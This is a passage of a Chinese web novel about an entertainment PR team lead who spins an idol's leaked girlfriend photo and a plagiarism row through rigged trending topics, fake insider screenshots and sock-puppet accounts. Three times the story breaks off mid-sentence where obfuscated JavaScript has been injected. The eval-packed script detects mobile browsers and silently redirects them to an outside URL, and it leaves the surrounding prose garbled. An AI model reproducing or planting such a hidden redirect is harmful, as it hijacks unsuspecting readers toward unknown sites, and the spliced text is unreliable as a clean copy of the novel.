《公关24小时[娱乐圈]》 1. 手滑事件 凌晨三点四十六分。 向宁本以为自己终于能睡个安稳觉,没想到又被况星宸的求救电话吵醒了。 还没接电话就知道是他。因为那首来电铃声是她专门为况星宸设的。 这并不是因为向宁有多在意他,设置特殊铃声主要是为了提高过滤信息的效率,她负责对接的所有艺人都有各自的专属铃声。 至于为什么给况星宸设置一首鬼吼般的摇滚乐,当然是因为这位当红idol太不让她省心,出道以来闯过的祸比出过的作品还多,这首歌最能诠释向宁接到他电话时的精神状态。 床头柜上放着四个手机,向宁眯着眼拿起正在响铃的那个,接通后还没来得及说个“喂”字,对面就急匆匆地抢先开了口。 “向宁姐,我刚才又手滑了,你一定要帮帮我啊!这事要是不能……” “说重点,给你十秒钟。”向宁冷冷打断。她困得几乎睁不开眼了,况星宸要是啰里啰嗦起来,肯定会起到催眠的效果。 况星宸被人捧惯了,对她的态度难免有些不爽。要是放在平常,他才不会放着经纪人不使唤,纡尊降贵亲自和向宁对接工作内容呢! 奈何现在事态紧急,况星宸既然有求于人,也不好发作,只得放低姿态言明详情。 装乖服软嘛,他最擅长了。 “我不小心把跟女朋友的合照发到微博上了,粉丝都在发问号,还有人莫名其妙开始骂我!其实讲道理,我都二十……” 保守估计,况星宸的粉丝里至少有90%都是女友粉。一旦单身人设崩塌,他的事业必然受到重大的打击。 一个艺人的星途和钱途事小,公司的利益事大,这场乌龙必须及时处理。 向宁没有精力翻白眼,只抓重点问道:“照片露脸了吗?什么尺度?微博删了吗?” “我露脸了,她没露。没什么尺度,我只是靠在她背后自拍而已。微博没删,你之前教过的道理我都记得,‘不删微博还有及时公关的可能,删了就是此地无银三百两。’放心,没删没删。”说到最后,况星宸的语气甚至还有点骄傲。 是啊,他当然记得,犯错都犯出经验来了,熟能生巧嘛。 况星宸怕挨批评,还做出一副积极想办法补救的姿态来:“向宁姐,我觉得可以让工作室连夜出个律师函,就说她是我表姐,昨天过生日,气氛上来了才拍的合照。让粉丝不信谣,不传谣……” 向宁没工夫听他自作聪明的长篇大论,直接挂断电话,在心里骂了句蠢货。 一张照片而已,怎么就要搬出工作室来压人了,还连夜出律师函,不是做贼心虚是什么? 何况粉丝早就对他的家庭情况了如指掌,说不定连户口本扫描件都有黄牛倒卖,如果突然冒出个表姐来,还劳动他大半夜晒前一天的合照,怕是只有比他还蠢的人才会信。 向宁点开微博切换到况星宸的账号。还好,照片是六分钟前发出去的,还在公关的黄金时间。 女孩子只露了背影,衣着整齐,发型自然,合影氛围暧昧但不算亲密,可操作空间很大。 况星宸倒是笑得甜蜜无比,进组演戏时都从没露出过这么生动的表情,看得向宁一阵恶寒。 检查确认账号IP无误后,向宁迅速在那张合影的评论区敲下几行字:“surprise~给大家看看新歌MV的花絮照,要不要猜猜这次是什么曲风?” 再配一个颜色为况星宸应援色的爱心emoji,加上代指他粉丝名的芒星图标,最后还不忘从相册里捞一张备用的录音室摆拍照,一并奉上。 点击发送。 向宁长出一口气,把手机放回原位,踏踏实实往枕头上一倒,继续睡觉! 根本不用管八卦论坛上的吃瓜网友信不信这番蹩脚的说辞,反正他们也不是况星宸的目标韭菜。只要能稳住他的粉丝就行了,以前哪次不是这样? 但凡给个看似说得通的理由,他们就愿意相信,还美其名曰“我们和他相互信任,双向奔赴”,其实都是自己骗自己。 向宁看一眼时间,还能再睡五个小时。 不,不吃早餐了,多睡二十分钟。 没想到这一觉睡得太香,向宁没听到闹钟,直到九点四十才被家里的小猫踩醒。 一只颇有分量的狸花猫,从衣柜顶上一跃而下,四脚落在她身上,比什么闹钟都管用一百八十倍。 “猫猫过来,妈妈亲亲,一会给你开个罐头。”向宁不客气地揽住它,亲了脑门一口,两口,三四五六七八口,“你真是救了妈妈狗命了!今天可不能迟到啊……” 不吃早饭已是惯例了,向宁飞快起床穿衣,洗脸刷牙时特意用了冰水,很提神。 洗漱完还剩不到十五分钟,向宁火速赶到公司楼下,正门上方“星桥娱乐”四个大字十分扎眼。 眼看来不及等电梯了,向宁难免有些着急,只能死马当作活马医,埋头在手机上戳戳点点,想试试能不能在一楼连上八楼的考勤专用WiFi。 靠着时断时续的WiFi信号,向宁还真在最后一分钟打上了卡,保住了这个月的全勤奖。 其实向宁的日常工作比较特殊,一方面追求时效性,另一方面对工作地点并没有严格的要求,按理说不该对考勤有多么严格的要求,完全可以灵活打卡。 奈何公关部的张副总监一直跟她不对付,还在她被乔副总监破格提拔为组长后故意使坏,搞出了整个部门独她一份的“全勤奖”,实际只是为了找借口扣她的绩效罢了。 公关部的员工分为A、B两组,总监之位虚悬已久,近年来一直只有两位副总监相互牵制,目前尚未分出胜负高低。 向宁作为A组的组长,算是乔副总监的“心腹”。甚至可以说,乔煦晗就是把她带进这一行的领路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14797483|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。 至于公关部B组,则是副总监张洋的直系。乔张二位中层斗法,偶尔殃及池鱼是不可避免的事。 既然暂时无法改变现状,向宁也不内耗,好好工作就是了,反正她在意的并非这点得失。 今天要处理的第一个工作项,毫无疑问是昨晚的“手滑事件”。 向宁先跟平台的人简单对接一番,推了个#况星宸新歌MV首曝花絮照#的热搜。从第四十五位开始慢慢往高位爬,营造一种自然上升的错觉,升到第二十五位就停。 再登录况星宸职业大粉的微博账号,假装刚睡醒,才看到热搜,号召小粉丝们一起帮忙刷词条,帮idol宣传新歌。 接下来的几个小时里需要平台方配合,控制热搜词条在十五到二十五位上下浮动,让粉丝以为她们刷的数据真实有效。 毕竟成就感和集体荣誉感都是很重要的情绪价值,一方面能让粉圈越来越团结,另一方面也能让她们在自吹自擂的幻梦泡泡里多沉醉些时间,免得一闲下来,又要出去挑事、跟人吵架。 还要注意词条不能升得太高,以第十五名为界。 因为她们团队买这个热搜并不是为了宣传,而是为了让粉丝相信况星宸心怀坦荡,从而认定昨晚那张照片真的只是工作花絮。 要是登上高位热搜,万一引来群嘲,让眼尖的路人看出破绽就不好了。 时间差不多就可以撤词条了,也让粉丝休息休息。偶尔刷刷数据还能鼓舞士气,安抚人心,可是刷久了就容易产生负面情绪,最好还是劳逸结合。 等待一段时间后,向宁打开手机刷了刷社媒。 对于昨晚的况星宸微博爆图事件,娱乐论坛上的风向自然以质疑为主,认为事实是他手滑犯蠢,自爆恋情。 微博上则是粉丝控评的阵地,许多熟悉的账号都蒙头为他宣传起了连文件夹都没建好的新歌。 向宁切换到况星宸的职粉账号,刷着刷着就不由一哂,因为那些公开发博表示“相信哥哥”、“期待宝贝新MV”的大粉们在好友圈里纷纷换了面孔—— “蠢货,给老娘藏好你的狐狸尾巴,再有下次就不会这么轻拿轻放了@况星宸” “又拿粉丝的钱去养嫂子是吧?下次应援给你烧冥币[飞吻]@况星宸” “@况星宸谈恋爱要是憋不住秀就趁早退圈哈,要是让我囤的官周和小卡砸手里你就死定了[微笑]” “慢点塌……ballball了,我还有pb没卖完!!” 除此以外,这片见不到太多阳光的小天地里也有不少针对“嫂子”的污言秽语。 向宁略显不爽地扯了扯嘴角,不再继续往下看了。 尽管藏着满腹牢骚,可是她身为艺人公关,做一天尼姑就得撞一天钟。这出戏还有最后一折没唱,不能半途而废。 总得对得起自己拿的这份工资嘛。 2. 神秘女友 向宁用两个手机分别打开微信,毫不费力就造出了一段“业内人士”的聊天记录。 截一张图在微信里发过去,又下载过来,如此这般倒几手,画面清晰度便降低了不少,看起来更“真实”了。 再登录娱乐论坛的“中立瓜主”账号,配上这张截图,发一条仅粉丝可见,且语焉不详的推文—— “抱着想看热闹的心态跟业内朋友打听了一圈,现在只想感叹艺人有一个好团队是多么重要,像况星宸这种总被自己人坑的也真是有够倒霉的。不知道他的团队是什么脑回路,居然能想出这么low的炒作方式。可惜这种小idol在团队里往往没什么话语权,粉丝也只能跟着伤心了。” 点击发送。 短短几分钟,况星宸粉圈的风向就再度改变,开始指控团队对艺人有内部恨,故意用争议极大的炒作方式扰乱粉圈。 也不知这故事是怎么演化的,传着传着,最新版本就变成了“况星宸团队想用假恋情炒作新MV,况星宸怕粉丝伤心,据理力争,甚至绝食抗议。工作室为达目的,竟私自扣下况星宸的手机,深夜发图,混淆视听。” 很快,就连原本在骂况星宸的大粉也动摇了立场,开始在好友圈大骂星桥娱乐拖后腿,防爆况星宸。 算着时间差不多了,向宁重新登上瓜主账号,删掉了那条“爆料”,并再次发博:[微笑]上一条微博被相关人员举报,不得不删掉了。抱歉,毕竟都是一个圈子的,我还得混口饭吃。 此文一出,况星宸粉丝对团队的骂声就更大了。 向宁见状,满意地放下手机。 骂吧,骂吧。 只要昨晚那张情侣合照被粉丝认定为团队的恶意炒作,她的任务就算完美完成了。粉丝越恨工作室,就会越溺爱“孤立无援”的况星宸,那么下一张专辑也就不愁卖了。 这边一套流程走完,人事部那边也发来消息—— 「向宁姐。」 这是公司大多数同事对她的常用称呼。即便在事实上,其中许多人比她还年长几岁。 「您的助理已经办好入职手续了,我们现在就把人带过去。」 组长的职级并不算高,一般不会配备助理。向宁之所以能破例,其实是乔煦晗给她的特权。 这位小助理名叫麦秋,是个还在读大四的学生,刚刚结束校招,就提前进公司实习了。 麦秋人如其名,浅小麦色皮肤,棕褐卷发编成一股麻花辫,从头顶高高垂下来,跑动时像一束生机勃勃的麦穗。 她们在面试那天深聊了许久,这次再见向宁时,麦秋并不拘束,只是心里有点紧张。刚进职场,正常的。 她的工位也在向宁的办公室里,两张桌子挨得很近,摆成了一个直角。 “入职快乐。”向宁把一个巴掌大的香水盒子放在麦秋面前,斜靠着办公桌笑道,“你今天可算来着了,赶巧。” “谢谢向宁姐,这是入职礼盒吗?”麦秋粗略扫了一眼,不敢置信道,“咱们公司这么大方啊?” 手中的小盒子散发着若有似无的葡萄香气,麦秋认得包装盒上的品牌logo,虽然不知道这款香水具体价值几何,但一定超过了她现有的消费能力。 向宁坐回自己桌前,语气平淡道:“公司是永远不可能大方的。这是我送你的礼物,人情可不许算到资本家头上喔。” 麦秋一听这话,难免又紧张起来,推辞道:“向宁姐,这礼物太贵了,我不能——” “别有心理负担,反正也不是我自掏腰包买的。”向宁没有看她,盯着电脑屏幕漫不经心道,“品牌方送给艺人的。” 至于为什么会流转到她手上,她又为什么不愿留下自用,向宁没有继续解释下去。 这天下午,况星宸在向宁的要求下来到了公司,由经纪人刘哥陪着,一起参加昨晚手滑事件的后续公关方案研讨会。 麦秋坐在向宁近旁,怀着既期待又紧张的心情,开启了她职业生涯的第一个工作项——会议记录。 “还开什么会啊,事情不都解决了吗?”况星宸放松地躺在按摩椅上,翘着二郎腿打了个哈欠,后半句话说得含混不清,听不出是假意还是真情,“小宁,厉害厉害。” 他总是这样,有事求人的时候一口一个“姐”,没事时就换成“小宁”了。 “恋情的事情是糊弄过去了,可是所谓的‘新歌MV’还没有着落,你就没什么打算吗?” 向宁按下调整椅背的按钮,话音落时,况星宸已经被迫坐直了身子。 为了掩饰尴尬,他干咳两声才开口道:“有啊,公司不是有枪手定期给我写歌吗?下一首让他写情歌,再找个外形差不多的女群演,把那张照片的场景拍到MV里不就结了?” “如果担心现在写来不及的话,我们这里也有以前的废案。”经纪人刘哥给向宁发去一份文档,“我筛了一些能用的,你看看用哪一首比较好开展后面的营销?” 向宁点开文档快速浏览了一遍歌词,总体写得不错,只是有一个问题—— “别忘了,况星宸立的是唱作歌手人设,粉丝可不知道他的所有歌都是枪手写的。这些废案全是甜得发齁的情歌,而且歌词言之有物,一看就知道作词者是陷入热恋的人。如果把这种歌发出去,和自曝恋情有什么区别?” “至于吗?”况星宸抖着腿,一副吊儿郎当的样子,“歌词甜就等于谈恋爱啦?这不是莫须有吗?” 向宁早就习惯了他这幅做派,权当没看见。 “好,就算你的粉丝自带滤镜,什么都看不出来。可是我问你,这种歌词是不是得搭配同样甜到齁的MV?你是不是得和女搭档拍暧昧的镜头?就算粉丝对歌词不敏感,但MV给她们的是视觉冲击。平时你在红毯上挽个不熟的女明星走一段路,粉丝尚且要死要活的,如果看到这种MV,她们不是更要吃醋了?” 经纪人刘哥也劝说道:“是啊,粉丝要是不开心,谁给你的新歌打榜冲销量啊?” 听到销量,况星宸终于觉得对方阵营的观点有点道理了,于是搓着手装出一副用心思考的样子问道:“那……应该怎么办呢?” “改词。”向宁的语气斩钉截铁,“就用这首以校园恋情为主题的歌。你是在国外上的中学,如果用本土校园元素拍MV,粉丝潜意识里不会认为这是你真实的恋爱经历,只会把它当做你的艺术创作。” “具体要怎么改?”刘哥拿出手机,“我现在就跟枪手沟通。” “分三段。前半段保留甜蜜的风格,但是要把词改得空洞一些,减少细节;中段要突出悲伤的情绪,写成被甩了或者爱而不得都行;后半段以‘释然’为主题,营造一种云淡风轻的氛围。至于遣词造句嘛……越俗越好。” “凭啥要俗啊?”况星宸有不同意见,“我可不想要什么、什么……下沉……的市场!” 向宁没好气道:“你要不要自己读一读这篇歌词?它里面蕴含的这些隐喻和典故,你能理解多少?或者说,你听说过多少?如果你打算放弃唱作歌手的人设,老老实实给人家原作者署名,你想唱再怎么高雅的词我都没意见。” 况星宸正欲反驳,他的手机就响起了铃。 “等会等会!”况星宸倏地从椅子上弹起来,脸上挂起了甜蜜的笑容,“我女朋友的电话,我出去接一下哈!” 刘哥拦不住他,向宁没打算拦他,麦秋则深吸一口气,确信自己这辈子都不会再追星了。 “你知道他谈恋爱吗?”向宁心平气和地询问刘哥,“在他发那条微博之前。” “知道。”刘哥皱着眉,一脸无奈。 “谈了几个?” “反正……现在就这一个。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14797484|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “收心了?”向宁才不相信。 “但愿吧。”刘哥重重叹了一口气。 “你知道那女孩是谁吗?”向宁眉头紧锁,她必须尽快搞清楚这个问题。 刘哥迟疑了一瞬才回答:“不知道。”可是满脸都写着“我在撒谎”。 向宁也不逼问,默默从抽屉里拿出一张存储卡连到电脑上,招招手让刘哥自己绕过来看。 “这、这些是……” 十几张照片的时间线横跨数月,拍的全都是况星宸和年轻美女约会时的画面,但许多照片上的女主角都不一样——两个明星、两个素人,四个网红,时间线甚至互有重叠。 照片上,况星宸和美女们举止亲密,说是情侣互动也不为过。乍看很像狗仔视角,但每张照片的清晰度都很高,个别照片甚至能达到站姐出图的质量。 向宁见刘哥已经慌了神,不由在心里微笑起来,低声问:“他有这么多女朋友,你都知道吗?” 这样严重的公关危机,刘哥作为况星宸的经纪人,不论他是知道了却不向公司汇报,还是压根对此一无所知,都是失职。公司如果要追责,他就得好好喝一壶了。 向宁继续给刘哥施压:“我明明早就交代过你们——况星宸想谈恋爱,可以。但是不管他谈了几个,分了几个,暧昧了几个,追求了几个,都得老老实实跟我报备。只有这样我才能做好预案,否则一旦恋情曝光酿成丑闻,势必打我们一个措手不及!” 她原以为况星宸吃了许多亏之后已经开始长脑子了,却没想到他硕果仅存的那么点脑细胞全用来糊弄自己人了。 刘哥也清楚这一层利害关系,并不敢正面回答,只问道:“这些照片是从哪来的?” 麦秋听到这里不由有些心虚,放在键盘上的手指抖了抖,悄悄朝向宁看去,可惜看不到她的目光,更猜不到她的想法。 “当然是从狗仔手里花高价买回来的啊。”向宁不愿暴露自己的信息源,撒谎撒得理直气壮,“至于况星宸这些情况要不要上报公司……” “你直接开条件吧。”刘哥打断她的话,憋着一股气坐回了对面的椅子上。 向宁垂眸笑了笑,又抬眼道:“别这么抵触嘛,其实公关部和你们经纪部从本质上讲还是合作关系啊。你回答我的问题,我把存储卡给你,两全其美咯。如果给公司打小报告,我又没什么好处。” 刘哥琢磨了一会,觉得是这个理,虽然答应过况星宸不能把这事告诉向宁,可是眼下火烧眉毛,他总不能为了这小子犯的错把自己赔进去吧? “先说好,我要是告诉了你,你可不能在况星宸面前把我卖了!” “当然,这是最基本的规则。” 刘哥抿了抿嘴,放低声音道:“他现在的女朋友是呈业集团董事长的独生女,祝璋。” 向宁没听过这个名字,便打算给麦秋布置个新任务。 没想到麦秋很是伶俐,还不等她开口,就飞速搜到了关键信息,主动发给了向宁。 简言之,呈业集团虽然是靠投机发的家,但是近年也把实业做得风生水起,在不少领域都抢占了可观的市场份额。祝璋虽然年轻,却已在业内崭露头角,风评颇佳,似乎是集团内部公认的未来接班人。 向宁嗤笑一声,心道:怪不得况星宸现在越来越张狂,原来已经打上了赘入豪门的算盘。 刘哥见向宁冷笑起来,顿时更加坐立不安,直到从她手中接过存储卡才放下了半颗心,又问:“你那没留备份吧?” 向宁仿佛被这个问题冒犯到了,皱着眉用轻蔑的语气回道:“我留这些东西干嘛,白占内存吗?” 刘哥怕她生气,忙道:“我不是那个意思……” 向宁冷哼一声,翘起二郎腿往椅背上靠去,眼神在一个带锁的抽屉上轻落一下,随即不着痕迹地移开了。 3. 抄袭事件 三人等待许久,况星宸终于打完电话回来了,一开口就藏不住好心情:“我女朋友觉得你给的方案可行,就这么办吧。” 向宁和刘哥对视一眼,达成了无言的共识:看来这位大小姐的一句话,比咱们俩加起来磨破嘴皮子还有效呢。 况星宸最不耐烦开会,方案一敲定就急着去赶饭局了,临走前还习惯性撩了麦秋一把:“新来的?挺漂亮嘛。” 麦秋低垂着脑袋,看着很是局促,低低应了一声。 向宁迈步护在她身前,对况星宸冷脸道:“我们约法三章过的。” 况星宸噗地笑了一声,抱臂道:“我又不会对她做什么,只是想给咱们团队的新成员送个见面礼而已。” 他口中的见面礼,就是一张他自己的签名照。 等他带着经纪人离开向宁的办公室,麦秋才长出一口气。 “呼——好悬没憋死我。”麦秋把签名照随手扔进垃圾桶里,“真晦气。” “我要是你,我就不扔。”向宁提出了中肯的建议,“况星宸的亲签,按交易超话最近的市场价算,能卖好几百块呢。” 麦秋苦笑着摇摇头:“我这张肯定卖不出去的,是to签。” 向宁探头向垃圾桶里投去一瞥,况星宸的帅照上果然写着:To麦秋,lovingu! 然而“麦”字的下半部分被况星宸错写成了“攵”。 “我真服了!”向宁哭笑不得,“总共就俩汉字,他还能写错一个。” 麦秋也无语地笑了笑,片刻后又收起笑容:“向宁姐,你刚才为什么不劝他分手呀?” 向宁满眼疑惑:“为什么要劝?” 麦秋微微一怔,继而带着一股浩然正气道:“因为idol不能谈恋爱啊!” 向宁撑起下巴想了想:“有两点原因吧……” 麦秋两腿一蹬,坐着转椅滑到了她身边:“想听!” “第一,如何保证艺人不犯错,这是经纪人应该操心的事。如何化解艺人身上的争议,并将它们转化成热度,这才是咱们应该考虑的事。换句话说,只有艺人多犯错,公司才能意识到咱们存在的重要价值,如果他们都变成乖宝宝,公关部就该集体失业了。” 麦秋恍然大悟,却惊讶得一时不知该说些什么,直到被向宁轻轻拍了拍脑袋,才含着期待问道:“第二点原因呢?” 这次向宁不再长篇大论,只用一句话就堵死了追问的空间—— “良言难劝该死的鬼。” …… 枪手的工作效率很高。作词、作曲、demo、正式录制,一套流程走下来,况星宸的新歌很快就正式发行了。 MV同步发出后,公司花钱帮况星宸在热搜上挂了一整天,然而并没有在大众的视野中激起什么水花。 粉圈内部倒是兴奋了许久,又帮他刷起了原创音乐人的词条,似乎都坚定地认为,这是他的又一份破圈之作。 至于不久前,况星宸半夜自爆情侣合照的事件,看起来已经彻底被大家抛诸脑后了,蛮好。 万圣节前夜,况星宸的演唱会暨新歌首唱会就要开始了。 赶上这种大型公开活动,向宁作为公关人员自然需要守在后台,麦秋作为她的助理也得陪同前往。 外勤用车由公司统一安排。向宁素来不习惯坐外人开的车,于是给司机放了假。 “有驾照吗?”她问麦秋。 “没有,但可以学。”麦秋眼神坚定,背诵着面试必备话术。 “那你慢慢学吧,”向宁打开驾驶座旁的车门,歪头笑了笑,“上车,我给你当一回司机。” 坐上领导开的车,麦秋只觉得手脚放在哪里都不太自然。向宁虽然只大她两岁,平时也不摆什么架子,可毕竟还是她的顶头上司,天然带着一重压力呢。 沉默半晌,麦秋决定给自己找点活干,在微博广场和娱乐论坛上巡视几圈,否则她实在不能安心。 向宁打开车载音响,搜了个最常听的歌单来放,间或跟着哼唱两声,倒是优哉游哉。 演唱会还有三个小时才开始,扣除花在路上的时间,她们至少也能提前两个小时到场。 然而向宁似乎忘了,和况星宸团队合作的第一条铁律就是——计划赶不上变化快。 第一首歌还没播完,麦秋的神色就不对了,语气也焦急起来:“向宁姐,出事了。网友刚刚扒出来,况星宸新专辑的封面有抄袭实锤。稍等我看看……现在已经有营销号搬运帖子了,虽然转赞评暂时不多,但热度涨得很快,相关词条也有上升趋势了。” 向宁目不斜视:“别慌,如果闹大了,甩锅外包团队就行。这是圈内处理抄袭争议的常规模板,缺德,但有效。” 一会让化妆师把况星宸的眼角涂红,再由他有感情地背诵几句致歉台词,表示愿意以个人名义对原作者进行赔偿,粉丝保准得一边心疼一边夸他有担当。 毕竟大部分同行在处理抄袭争议时,都只知道动动嘴皮子,却连一分钱赔偿都不舍得出,铁公鸡看了都甘拜下风。 “这次估计不行。”麦秋飞速搜索着况星宸演唱会的关键词,“他今天中午接受了好几家娱记采访,被问到新专辑的创作灵感时,还专门强调了这张封面是他亲自设计的,融入了他不少的灵感和心血……” 麦秋说完立即点开对应的采访视频,把音量放到最大。向宁从头到尾听了一遍,不由腹诽那蠢货讲话不过脑子,光顾着给自己立艺术家人设,搞得她们公关团队现在十分被动。 “向宁姐,我记得咱们给的采访稿里没有这个问题啊?” 按照惯例,向宁的合作艺人接受采访时,务必按照她提前写好的稿子回答问题。如果记者问了超纲题目,艺人也必须顾左右而言他,最后把话题扯回稿子上来。 “回头再跟他算账。” 向宁临时改变路线,把车开进了附近一家商场的停车场里,麦秋也抓紧时间查到了被抄袭的原作信息。 “他剽窃的是这幅画,《回忆余烬》。”麦秋一连把几条带备注的链接发给向宁,“那位画家在圈内有一定知名度,但是大众认知度不太高,在各个社交平台也没有认证账号。” 向宁点开第一条链接看了看图片,好吧,确实没有半分辩驳的余地——原作的画面主体是一张红底证件照,相片上的女孩穿着中学校服,看不清脸,因为相纸上留下了灼烧的痕迹。灰烬洒落,混着点点火星,仿佛再有一阵风吹过,那幅画就会被烧干净似的。 况星宸的专辑封面简直就是原作的低配翻版。 再点开第二条链接,是画家本人的网络百科信息页——没有照片,没有个人履历,没有作品介绍,寥寥数语几乎毫无信息量,连性别和年龄都没有提及。 “沈安?”向宁上下滑动着屏幕,无意识读出了画家的名字。 “不,”麦秋放大了文字区域给她看,“是枕安,枕头的枕。” “艺名吗?”这个姓氏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14797485|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还挺少见的。 “不太确定,我再搜搜。” 二人分工明确,麦秋去查枕安的个人资料和社会关系,向宁则直接联系了况星宸本人。 “这事不能怪我啊!”况星宸最擅长推卸责任,“这歌又不是今天才发出来!之前根本没人锤我,而且网上完全搜不到那幅画的图片。今天我要开演唱会了,那幅画的高清大图就突然冒出来了,明显是有人故意搞我啊!” “你自己要是行得正坐得直,还怕别人有心搞你么?”向宁没好气道,“从现在开始,你和刘哥必须拒绝一切记者采访,老老实实等我的下一个电话。” 况星宸却吞吞吐吐许久,不敢答应她的要求:“娱记的采访能拒,官媒总不能拒吧……” “什么时候有官媒采访过你?别做梦了,大哥。” 况星宸对她的态度很是不忿:“以前确实没有,所以才有一帮阿猫阿狗黑我不受主流认可啊!哼,今天晚上,我就要让那帮人——也包括你,向宁,好好看看我究竟受不受主流认可!” “没有提前对过稿,你就私自接了官媒的采访邀约是吗?” 行,又给她出了个难题。 “谁帮你对接的?张洋?” 向宁想来想去,觉得整个公关部也只有他乐于给自己添堵。 “嘁,他哪有这个本事!”况星宸轻蔑一笑,得意洋洋道,“是我女朋友帮我拉的资源,文艺频道正儿八经带宣发的视频专访!要我说,她一个人带给我的助益,比你们整个团队都多!” 向宁见惯了骤然得志的小人,并没打算跟他讲道理,只平静问道:“如果今晚接受采访时被问到专辑封面抄袭的争议,你打算怎么回答?别觉得记者顾着你女朋友的面子就什么都不敢问,人家肯来采访你,就已经是一份人情了。” 况星宸语塞片刻后,不以为意道:“又不是什么大事……” 向宁并不打算与夏虫语冰,这种时候还是老办法好使——缓和态度,假装和况星宸同心同德,然后用切身利益说服他。 “嗯……也行。的确不是什么大事,在你的粉丝眼里甚至算不上嘲点。就算有那么一两个黑词条在热搜上挂几天,也是免费的热度嘛。” “等等等等!”况星宸听她有了妥协的意思,心里反而不踏实起来,“抄了张封面而已,黑热搜不至于一挂好几天吧?其他有抄袭争议的明星装死的装死,嘴硬的嘴硬,不也靠粉丝洗一洗就过去了嘛……” 向宁无声一笑,慢悠悠地问:“其他人的抄袭事件,也是第一次接受官媒采访时爆出来的吗?” 这个问题仿佛往况星宸的脑袋上砸了一锤,把他为数不多的库存智商砸出来了。 是啊,同样的黑料,营销号发一发无所谓,娱记骂一骂也不难捱,可要是让官媒一五一十发出来,那分量就不一样了。 遭网友调侃几句、被做成鬼畜视频都是小事,万一被定性为反面典型,就很难收场了。 “那怎么办啊?约好了晚上七点整接受采访的,还能取消吗?我装病行吗?”况星宸的声音开始抖了。 “七点生病,七点半演唱会开场时病就好了是吗?”向宁看一眼表,离采访开始还有两个小时,“还有时间,别乱来,等我消息。” 这边结束通话时,包里的另一个手机已经积了好几通未接来电。安静片刻,又响起了铃声,都是同一个人打来的。 向宁的前男友——电视台社会新闻组的调查记者,陶温。 4. 一号前男友 陶温,他找我干嘛?向宁不由腹诽。 小半年前,她跟陶温提了分手,对方也没多纠缠。 从那以后,这对昔日爱侣便默契地在朋友圈里做起了点赞之交,表面上关系不咸不淡,不好不坏,实则心里都跟彼此赌着一股气。 这股气的症结并不在于感情,而是二人在工作方面难以调和的理念差异。 向宁从未尝试说服陶温,因为她知道他是对的,只是不愿被他“招安”。 陶温从未放弃说服向宁,因为他想不通——她明明辨得清是非,为什么还要固执地坚守错误立场。 此时此刻,向宁猜不出他突然找自己做什么,怀着疑问接起电话,没想到对方一开口就约她今晚一起吃饭。 “我没有跟前男友一起吃饭的爱好,没别的事我先挂了。”更何况现在还有急事要处理,她才没工夫跟他谈人生、聊理想。 “对我这么没耐心啊?”陶温意味深长地笑了笑,“我要是没记错,你应该是况星宸工作室的‘特约常驻客座嘉宾’吧?” “有话直说。” “今晚七点,我负责采访他。” 向宁愣了愣,确认他不是在开玩笑后才问:“你不是在社会新闻组吗?现在怎么还兼起娱记的差事了?” “内部转岗,我现在改投文艺频道门下了。”陶温的语气不咸不淡,“怎么样,现在有兴趣聊聊了吗?” “对稿,有兴趣。吃饭,没兴趣。”向宁的语气也不冷不热。 “一点旧情都不讲啊?”陶温长叹一声,“既然这样,那我也不寒暄了。向宁小姐,对于况星宸被爆专辑封面抄袭一事,请问贵团队如何回应?” 向宁并不接招,熟练地换上公事公办的语气:“关于这个误会,况星宸先生会在今晚的采访中为您提供独家消息,并在稍后的演唱会上作出公开解释。” “误会?”陶温沉默片刻,哼出一声冷笑,“看来,你们已经有公关方案了?” “况星宸先生不会辜负粉丝们的信任。”虽然向宁此刻毫无头绪,但是气势绝不能输,“记者先生,拭目以待咯。” 陶温不再嬉皮笑脸,难得严肃起来,一如二人分手那天:“有劲吗?每天想方设法撒谎蒙事,为那些你自己打心底里瞧不上的人洗白贴金,你究竟图什么呢?” 还能图什么? “图钱,图舒坦日子呗,我不是早就告诉过你吗?” 听到她这般回答,陶温的质疑和追问紧随其后,向宁把手机拿远了些,不耐烦地重重呼出一口气。 她懒得跟他自证所谓苦衷与底线,更不明白都分手八百年了,他怎么还在纠结彼此的价值观差异,还不放弃居高临下地引导她回归正途。 “知道您是一心向阳,追求正义和真相的热血青年,本人由衷敬佩。对于您的循循善诱,本人在此再次诚挚感谢,奈何……”向宁仔细回想,书上是怎么说的来着,“我蛮夷也,不顺圣训,不慕王化,不堪造就。” 陶温深吸一口气:“你非要跟我这样阴阳怪气吗?” “我是没有道德的坏人,你早知道的。” 不给他留出反驳的机会,向宁立马挂断电话。 麦秋脸上挂着吃到大瓜的表情,却没有深挖上司的八卦,转而问起:“向宁姐,你最后那几句话不是相当于默认了在帮况星宸撒谎洗白吗?万一那个记者开了通话录音,发到网上……” 